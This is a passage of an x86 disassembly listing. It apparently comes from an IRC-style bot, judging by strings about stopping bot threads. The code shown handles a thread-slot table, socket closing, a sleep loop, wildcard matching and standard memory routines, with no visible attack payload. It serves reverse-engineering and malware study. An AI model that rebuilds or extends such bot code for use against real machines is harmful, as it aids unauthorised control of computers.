pop ecx
pop ecx
loc_40FDBA: ; CODE XREF: sub_40FC75+129j
cmp [ebp+arg_C], edi
jnz short loc_40FDD9
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 14h
loc_40FDD9: ; CODE XREF: sub_40FC75+148j
lea eax, [ebp+var_214]
push eax
call sub_407E0E
cmp ds:dword_430888, edi
pop ecx
jnz loc_40FF54
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_40FDFC: ; CODE XREF: sub_40FC75+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call ds:dword_4306F0
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_40FE99
cmp eax, 0EAh
jz short loc_40FE99
mov esi, offset off_42DC58
loc_40FE2D: ; CODE XREF: sub_40FC75+21Dj
push dword ptr [esi]
push edi
call sub_40E9B8
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_40FE44
push offset unk_42DDD0
jmp short loc_40FE49
; ---------------------------------------------------------------------------
loc_40FE44: ; CODE XREF: sub_40FC75+1C6j
push offset unk_42DD90
loc_40FE49: ; CODE XREF: sub_40FC75+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_410A8A
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_40FE7C
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 14h
loc_40FE7C: ; CODE XREF: sub_40FC75+1EBj
lea eax, [ebp+var_214]
push eax
call sub_407E0E
add esi, 8
pop ecx
cmp esi, offset dword_42DC78
jl short loc_40FE2D
jmp loc_40FF31
; ---------------------------------------------------------------------------
loc_40FE99: ; CODE XREF: sub_40FC75+1AAj
; sub_40FC75+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_40FF28
loc_40FEA8: ; CODE XREF: sub_40FC75+2AFj
mov edi, [esi]
push edi
call sub_4128CC
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_40FF1D
push edi
call sub_40E8A5
push eax
push 0
call sub_40E9B8
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_40FED7
push offset unk_42DD58
jmp short loc_40FEDC
; ---------------------------------------------------------------------------
loc_40FED7: ; CODE XREF: sub_40FC75+259j
push offset unk_42DD18
loc_40FEDC: ; CODE XREF: sub_40FC75+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_410A8A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_40FF10
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 14h
loc_40FF10: ; CODE XREF: sub_40FC75+27Fj
lea eax, [ebp+var_214]
push eax
call sub_407E0E
pop ecx
loc_40FF1D: ; CODE XREF: sub_40FC75+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_40FEA8
xor edi, edi
loc_40FF28: ; CODE XREF: sub_40FC75+22Dj
push [ebp+var_8]
call ds:dword_430820
loc_40FF31: ; CODE XREF: sub_40FC75+21Fj
cmp [ebp+var_10], 0EAh
jz loc_40FDFC
lea eax, [ebp+var_214]
push offset unk_42DCDC
push eax
call sub_41050B
pop ecx
pop ecx
pop ebx
jmp short loc_40FF67
; ---------------------------------------------------------------------------
loc_40FF54: ; CODE XREF: sub_40FC75+177j
lea eax, [ebp+var_214]
push offset unk_42DC98
push eax
call sub_41050B
pop ecx
pop ecx
loc_40FF67: ; CODE XREF: sub_40FC75+2DDj
cmp [ebp+arg_C], edi
jnz short loc_40FF85
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 14h
loc_40FF85: ; CODE XREF: sub_40FC75+2F5j
lea eax, [ebp+var_214]
push eax
call sub_407E0E
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_40FC75 endp
; ---------------------------------------------------------------------------
loc_40FF99: ; CODE XREF: seg000:0040FFB5j
; DATA XREF: seg000:00408EB9o
push 1
push 0
push 0
push 0
call sub_40FC75
add esp, 10h
push ds:dword_42DC50
call ds:dword_41C058 ; Sleep
jmp short loc_40FF99
; =============== S U B R O U T I N E =======================================
sub_40FFB7 proc near ; CODE XREF: seg000:004040A4p
; seg000:004050EAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_4356D8
loc_40FFBF: ; CODE XREF: sub_40FFB7+18j
cmp byte ptr [eax], 0
jz short loc_40FFD3
add eax, 234h
inc edi
cmp eax, offset dword_45EBC8
jl short loc_40FFBF
jmp short loc_41001E
; ---------------------------------------------------------------------------
loc_40FFD3: ; CODE XREF: sub_40FFB7+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_4356D8[esi]
push eax
call sub_411D00
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov ds:dword_4358D8[esi], eax
loc_40FFFE: ; DATA XREF: .adata:0047E9B0o
and ds:dword_4358DC[esi], 0
mov eax, [esp+8+arg_8]
and ds:dword_4358E0[esi], 0
mov ds:dword_4358E4[esi], eax
and ds:byte_4358F0[esi], 0
pop esi
loc_41001E: ; CODE XREF: sub_40FFB7+1Aj
mov eax, edi
pop edi
retn
sub_40FFB7 endp
; ---------------------------------------------------------------------------
word_410022 dw 8B55h ; DATA XREF: seg000:0040DE84o
dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h
dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h
dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h
dd 6CE8EC75h, 83000002h, 6A14C4h, 0FCFF8FE8h, 5E5FF1FFh
dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 42E0F868h
dd 0C75FF00h, 0E80875FFh, 0FFFFE2D3h, 3314C483h, 56D8BEFFh
dd 3E800043h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h
dd 0FE00858Dh, 0B468FFFFh, 500042C5h, 446E8h, 8D016A00h
dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFFE28Bh
dd 8124C483h, 234C6h, 0FE814700h, 45EBC8h, 5E5FB07Ch
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
sub_4100F2 proc near ; CODE XREF: seg000:0040D295p
; sub_410180+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_41017A
cmp esi, 12Ch
jge short loc_41017A
imul esi, 234h
push edi
push ebx
push ds:dword_4358EC[esi]
lea edi, dword_4358EC[esi]
call near ptr 3E0000h
push edi
cmp [edi], ebx
jz short loc_41012A
push 1
pop ebp
loc_41012A: ; CODE XREF: sub_4100F2+33j
mov [edi], ebx
lea edi, dword_4358E0[esi]
mov ds:dword_4358D8[esi], ebx
mov ds:dword_4358DC[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_41014B
push eax
call sub_40F67C
pop ecx
loc_41014B: ; CODE XREF: sub_4100F2+50j
mov [edi], ebx
lea edi, dword_4358E4[esi]
mov byte ptr ds:dword_4356D8[esi], bl
mov ds:byte_4358F0[esi], bl
push dword ptr [edi]
call ds:dword_430828 ; closesocket
lea esi, dword_4358E8[esi]
mov [edi], ebx
push dword ptr [esi]
call ds:dword_430828 ; closesocket
mov [esi], ebx
pop edi
loc_41017A: ; CODE XREF: sub_4100F2+Dj
; sub_4100F2+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_4100F2 endp
; =============== S U B R O U T I N E =======================================
sub_410180 proc near ; CODE XREF: seg000:loc_4070FDp
; seg000:00408A15p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_4356D8
loc_41018C: ; CODE XREF: sub_410180+2Aj
cmp byte ptr [esi], 0
jz short loc_41019D
push edi
call sub_4100F2
test eax, eax
pop ecx
jz short loc_41019D
inc ebx
loc_41019D: ; CODE XREF: sub_410180+Fj
; sub_410180+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_45EBC8
jl short loc_41018C
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_410180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4101B2 proc near ; CODE XREF: sub_410245+1Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_4358DC
loc_4101C6: ; CODE XREF: sub_4101B2+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_4101E8
test edi, edi
jle short loc_4101DA
cmp [esi], edi
jz short loc_4101DA
cmp ebx, edi
jnz short loc_4101E8
loc_4101DA: ; CODE XREF: sub_4101B2+1Ej
; sub_4101B2+22j
push ebx
call sub_4100F2
test eax, eax
pop ecx
jz short loc_4101E8
inc [ebp+var_4]
loc_4101E8: ; CODE XREF: sub_4101B2+1Aj
; sub_4101B2+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_45EDCC
jl short loc_4101C6
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_4101B2 endp
; =============== S U B R O U T I N E =======================================
sub_4101FF proc near ; CODE XREF: sub_404F83+Bp
; seg000:00405027p ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_4358D8
loc_410206: ; CODE XREF: sub_4101FF+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_41020F
inc eax
loc_41020F: ; CODE XREF: sub_4101FF+Dj
add ecx, 234h
cmp ecx, offset dword_45EDC8
jl short loc_410206
retn
sub_4101FF endp
; =============== S U B R O U T I N E =======================================
sub_41021E proc near ; CODE XREF: seg000:0040D98Cp
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_4358D8
loc_410228: ; CODE XREF: sub_41021E+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_410241
add ecx, 234h
inc edx
cmp ecx, offset dword_45EDC8
jl short loc_410228
pop esi
retn
; ---------------------------------------------------------------------------
loc_410241: ; CODE XREF: sub_41021E+10j
mov eax, edx
pop esi
retn
sub_41021E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410245 proc near ; CODE XREF: seg000:0040E021p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_41025E
push [ebp+arg_1C]
call sub_410A7F
pop ecx
loc_41025E: ; CODE XREF: sub_410245+Ej
push eax
push [ebp+arg_18]
call sub_4101B2
pop ecx
test eax, eax
pop ecx
jle short loc_41028A
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"...
push eax
call sub_41050B
add esp, 14h
jmp short loc_4102A4
; ---------------------------------------------------------------------------
loc_41028A: ; CODE XREF: sub_410245+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s: No %s thread found."
push eax
call sub_41050B
add esp, 10h
loc_4102A4: ; CODE XREF: sub_410245+43j
cmp [ebp+arg_C], 0
jnz short loc_4102C4
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 14h
loc_4102C4: ; CODE XREF: sub_410245+63j
lea eax, [ebp+var_200]
push eax
call sub_407E0E
pop ecx
leave
retn
sub_410245 endp
; =============== S U B R O U T I N E =======================================
sub_4102D3 proc near ; CODE XREF: sub_401000+A2p
; seg000:004014D4p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov ds:dword_4358EC[eax], ecx
mov ds:dword_4358D8[eax], ecx
mov ds:dword_4358DC[eax], ecx
mov ds:dword_4358E0[eax], ecx
mov ds:dword_4358E4[eax], ecx
mov ds:dword_4358E8[eax], ecx
mov byte ptr ds:dword_4356D8[eax], cl
mov ds:byte_4358F0[eax], cl
retn
sub_4102D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410310 proc near ; CODE XREF: seg000:0040E1F3p
; sub_41043E+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_41031A: ; CODE XREF: sub_410310+68j
mov cl, [esi]
test cl, cl
jz short loc_41037A
cmp eax, 1
jnz short loc_41037A
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_41037A
cmp cl, 2Ah
jz short loc_410361
cmp cl, 3Fh
jz short loc_410344
cmp cl, 5Bh
jz short loc_410349
xor eax, eax
cmp cl, dl
setz al
loc_410344: ; CODE XREF: sub_410310+26j
inc [ebp+arg_4]
jmp short loc_410374
; ---------------------------------------------------------------------------
loc_410349: ; CODE XREF: sub_410310+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_4103A6
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_410374
; ---------------------------------------------------------------------------
loc_410361: ; CODE XREF: sub_410310+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_41043E
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_410374: ; CODE XREF: sub_410310+37j
; sub_410310+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_41031A
; ---------------------------------------------------------------------------
loc_41037A: ; CODE XREF: sub_410310+Ej
; sub_410310+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_41038A
cmp eax, 1
jnz short loc_4103A1
inc esi
mov [ebp+arg_0], esi
jmp short loc_41037A
; ---------------------------------------------------------------------------
loc_41038A: ; CODE XREF: sub_410310+6Dj
cmp eax, 1
jnz short loc_4103A1
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_4103A1
cmp byte ptr [esi], 0
jnz short loc_4103A1
push 1
pop eax
jmp short loc_4103A3
; ---------------------------------------------------------------------------
loc_4103A1: ; CODE XREF: sub_410310+72j
; sub_410310+7Dj ...
xor eax, eax
loc_4103A3: ; CODE XREF: sub_410310+8Fj
pop esi
pop ebp
retn
sub_410310 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4103A6 proc near ; CODE XREF: sub_410310+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_4103C7
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_4103C7: ; CODE XREF: sub_4103A6+19j
push ebx
push esi
loc_4103C9: ; CODE XREF: sub_4103A6+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_4103D7
cmp [ebp+var_4], eax
jnz short loc_410423
loc_4103D7: ; CODE XREF: sub_4103A6+2Aj
test edi, edi
jnz short loc_410418
cmp bl, 2Dh
jnz short loc_41040C
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_41040C
cmp al, 5Dh
jz short loc_41040C
cmp [ebp+var_4], edi
jnz short loc_41040C
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_410418
cmp bl, al
jg short loc_410418
push 1
mov [edx], esi
pop edi
jmp short loc_410418
; ---------------------------------------------------------------------------
loc_41040C: ; CODE XREF: sub_4103A6+38j
; sub_4103A6+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_410418
push 1
pop edi
loc_410418: ; CODE XREF: sub_4103A6+33j
; sub_4103A6+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_4103C9
; ---------------------------------------------------------------------------
loc_410423: ; CODE XREF: sub_4103A6+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_410430
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_410430: ; CODE XREF: sub_4103A6+82j
cmp edi, eax
jnz short loc_410439
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_410439: ; CODE XREF: sub_4103A6+8Cj
mov eax, edi
pop edi
leave
retn
sub_4103A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41043E proc near ; CODE XREF: sub_410310+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_41045A: ; CODE XREF: sub_41043E+3Aj
cmp [eax], bl
jz short loc_41047A
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_41046F
cmp cl, 2Ah
jnz short loc_41047A
cmp cl, 3Fh
jnz short loc_410472
loc_41046F: ; CODE XREF: sub_41043E+25j
inc eax
mov [edi], eax
loc_410472: ; CODE XREF: sub_41043E+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_41045A
; ---------------------------------------------------------------------------
loc_41047A: ; CODE XREF: sub_41043E+1Ej
; sub_41043E+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_410485
inc dword ptr [esi]
jmp short loc_41047A
; ---------------------------------------------------------------------------
loc_410485: ; CODE XREF: sub_41043E+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_4104A6
mov edx, [esi]
cmp [edx], bl
jz short loc_410497
xor eax, eax
jmp short loc_410506
; ---------------------------------------------------------------------------
loc_410497: ; CODE XREF: sub_41043E+53j
cmp cl, bl
jnz short loc_4104A6
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_4104A6
push 1
pop eax
jmp short loc_410506
; ---------------------------------------------------------------------------
loc_4104A6: ; CODE XREF: sub_41043E+4Dj
; sub_41043E+5Bj ...
push eax
push dword ptr [esi]
call sub_410310
pop ecx
test eax, eax
pop ecx
jnz short loc_4104F0
loc_4104B4: ; CODE XREF: sub_41043E+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_4104B8: ; CODE XREF: sub_41043E+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_4104D0
cmp cl, 5Bh
jz short loc_4104D0
cmp dl, bl
jz short loc_4104D0
inc eax
mov [edi], eax
jmp short loc_4104B8
; ---------------------------------------------------------------------------
loc_4104D0: ; CODE XREF: sub_41043E+82j
; sub_41043E+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_4104E7
push eax
push dword ptr [esi]
call sub_410310
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_4104EC
; ---------------------------------------------------------------------------
loc_4104E7: ; CODE XREF: sub_41043E+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_4104EC: ; CODE XREF: sub_41043E+A7j
cmp eax, ebx
jnz short loc_4104B4
loc_4104F0: ; CODE XREF: sub_41043E+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_410503
mov eax, [esi]
cmp [eax], bl
jnz short loc_410503
mov [ebp+var_4], 1
loc_410503: ; CODE XREF: sub_41043E+B6j
; sub_41043E+BCj
mov eax, [ebp+var_4]
loc_410506: ; CODE XREF: sub_41043E+57j
; sub_41043E+66j
pop edi
pop esi
pop ebx
leave
retn
sub_41043E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41050B proc near ; CODE XREF: sub_401000+61p
; seg000:00401496p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_412C3C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41054B
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_410558
; ---------------------------------------------------------------------------
loc_41054B: ; CODE XREF: sub_41050B+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_412B27
pop ecx
pop ecx
loc_410558: ; CODE XREF: sub_41050B+3Ej
mov eax, esi
pop esi
leave
retn
sub_41050B endp
; =============== S U B R O U T I N E =======================================
sub_41055D proc near ; CODE XREF: sub_401000+2Ep
; seg000:00401C1Cp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ds:dword_42E148, eax
retn
sub_41055D endp
; =============== S U B R O U T I N E =======================================
sub_410567 proc near ; CODE XREF: seg000:0040117Dp
; seg000:004011F1p ...
mov eax, ds:dword_42E148
imul eax, 343FDh
add eax, 269EC3h
mov ds:dword_42E148, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_410567 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_410590 proc near ; CODE XREF: seg000:0040194Fp
; seg000:00401AC7p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_4105E3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_4105D7
neg ecx
and ecx, 3
jz short loc_4105B9
sub edx, ecx
loc_4105B3: ; CODE XREF: sub_410590+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_4105B3
loc_4105B9: ; CODE XREF: sub_410590+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_4105D7
rep stosd
test edx, edx
jz short loc_4105DD
loc_4105D7: ; CODE XREF: sub_410590+18j
; sub_410590+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_4105D7
loc_4105DD: ; CODE XREF: sub_410590+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4105E3: ; CODE XREF: sub_410590+Aj
mov eax, [esp+arg_0]
retn
sub_410590 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4105F0 proc near ; CODE XREF: seg000:00401A73p
; seg000:00401A84p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_410610
cmp edi, eax
jb loc_410788
loc_410610: ; CODE XREF: sub_4105F0+16j
test edi, 3
jnz short loc_41062C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41064C
rep movsd
jmp ds:off_410738[edx*4]
; ---------------------------------------------------------------------------
loc_41062C: ; CODE XREF: sub_4105F0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_410644
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_41064C+4[eax*4]
; ---------------------------------------------------------------------------
loc_410644: ; CODE XREF: sub_4105F0+46j
jmp dword ptr ds:loc_410748[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41064C: ; CODE XREF: sub_4105F0+31j
; sub_4105F0+8Ej ...
jmp ds:off_4106CC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_410660
dd offset loc_41068C
dd offset loc_4106B0
; ---------------------------------------------------------------------------
loc_410660: ; DATA XREF: sub_4105F0+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41064C
rep movsd
jmp ds:off_410738[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41068C: ; DATA XREF: sub_4105F0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41064C
rep movsd
jmp ds:off_410738[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_4106B0: ; DATA XREF: sub_4105F0+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41064C
rep movsd
jmp ds:off_410738[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4106CC dd offset loc_41072F ; DATA XREF: sub_4105F0:loc_41064Cr
dd offset loc_41071C
dd offset loc_410714
dd offset loc_41070C
dd offset loc_410704
dd offset loc_4106FC
dd offset loc_4106F4
dd offset loc_4106EC
; ---------------------------------------------------------------------------
loc_4106EC: ; CODE XREF: sub_4105F0:loc_41064Cj
; DATA XREF: sub_4105F0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_4106F4: ; CODE XREF: sub_4105F0:loc_41064Cj
; DATA XREF: sub_4105F0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_4106FC: ; CODE XREF: sub_4105F0:loc_41064Cj
; DATA XREF: sub_4105F0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_410704: ; CODE XREF: sub_4105F0:loc_41064Cj
; DATA XREF: sub_4105F0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41070C: ; CODE XREF: sub_4105F0:loc_41064Cj
; DATA XREF: sub_4105F0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_410714: ; CODE XREF: sub_4105F0:loc_41064Cj
; DATA XREF: sub_4105F0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41071C: ; CODE XREF: sub_4105F0:loc_41064Cj
; DATA XREF: sub_4105F0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41072F: ; CODE XREF: sub_4105F0:loc_41064Cj
; DATA XREF: sub_4105F0:off_4106CCo
jmp ds:off_410738[edx*4]
; ---------------------------------------------------------------------------
align 4
off_410738 dd offset loc_410748 ; DATA XREF: sub_4105F0+35r
; sub_4105F0+92r ...
dd offset loc_410750
dd offset loc_41075C
dd offset loc_410770
; ---------------------------------------------------------------------------
loc_410748: ; CODE XREF: sub_4105F0+35j
; sub_4105F0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_410750: ; CODE XREF: sub_4105F0+35j
; sub_4105F0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41075C: ; CODE XREF: sub_4105F0+35j
; sub_4105F0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_410770: ; CODE XREF: sub_4105F0+35j
; sub_4105F0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_410788: ; CODE XREF: sub_4105F0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_4107BC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4107B0
std
rep movsd
cld
jmp ds:off_4108D0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_4107B0: ; CODE XREF: sub_4105F0+1B1j
; sub_4105F0+208j ...
neg ecx
jmp dword ptr ds:loc_41087F+1[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4107BC: ; CODE XREF: sub_4105F0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_4107D4
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_4107D4+4[eax*4]
